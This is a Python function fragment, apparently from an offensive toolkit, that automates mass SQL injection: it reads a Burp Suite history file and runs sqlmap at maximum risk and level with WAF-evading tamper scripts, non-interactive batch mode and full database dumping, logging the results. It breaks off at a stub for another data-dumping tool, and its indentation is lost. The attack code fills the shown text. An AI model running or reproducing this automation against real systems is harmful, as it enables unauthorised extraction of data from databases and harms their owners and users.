def mass_sql_injection(burp_history_xml):
# create the "exploitation" directory if it doesn't exist
if not os.path.exists("exploitation"):
os.makedirs("exploitation")
# check if sqlmap is installed
if not os.path.exists("/usr/bin/sqlmap"):
install = input("sqlmap is not installed. Do you want to install it? (Y/N) ").lower()
if install == "y":
subprocess.run(["apt-get", "install", "sqlmap"])
else:
print("sqlmap is required to run this function. Exiting.")
return
# parse the burp history xml file
try:
tree = ET.parse(burp_history_xml)
root = tree.getroot()
except:
print("Error parsing the burp history xml file. Make sure it is in the correct format and try again.")
return
# ask the user for sqlmap options
risk = input("Enter the risk level for sqlmap (default: 3): ")
if risk == "":
risk = "3"
level = input("Enter the level for sqlmap (default: 5): ")
if level == "":
level = "5"
tamper = input("Enter the tamper scripts for sqlmap (default: space2comment,between): ")
if tamper == "":
tamper = "space2comment,between"
threads = input("Enter the number of threads for sqlmap (default: 10): ")
if threads == "":
threads = "10"
more_flags = input("Do you want to set more flags for sqlmap? (Y/N) ").lower()
if more_flags == "y":
flags = input("Enter the flags: ")
else:
flags = ""
# run sqlmap with the options
command = ["sqlmap", "-r", burp_history_xml, "--risk", risk, "--level", level, "--batch", "--skip", "--dump", "--tamper", tamper, "--threads", threads]
if flags:
command += flags.split()
sqlmap = subprocess.Popen(command, stdout=subprocess.PIPE)
# print the full output of sqlmap
with open("exploitation/sqli_full_output.txt", "w") as f:
for line in sqlmap.stdout:
print(line.decode("utf-8").strip())
# save the full output of the scan to a file
f.write(line.decode("utf-8"))
# xingdumper tool from @l4rm4nd
def xing_dumper():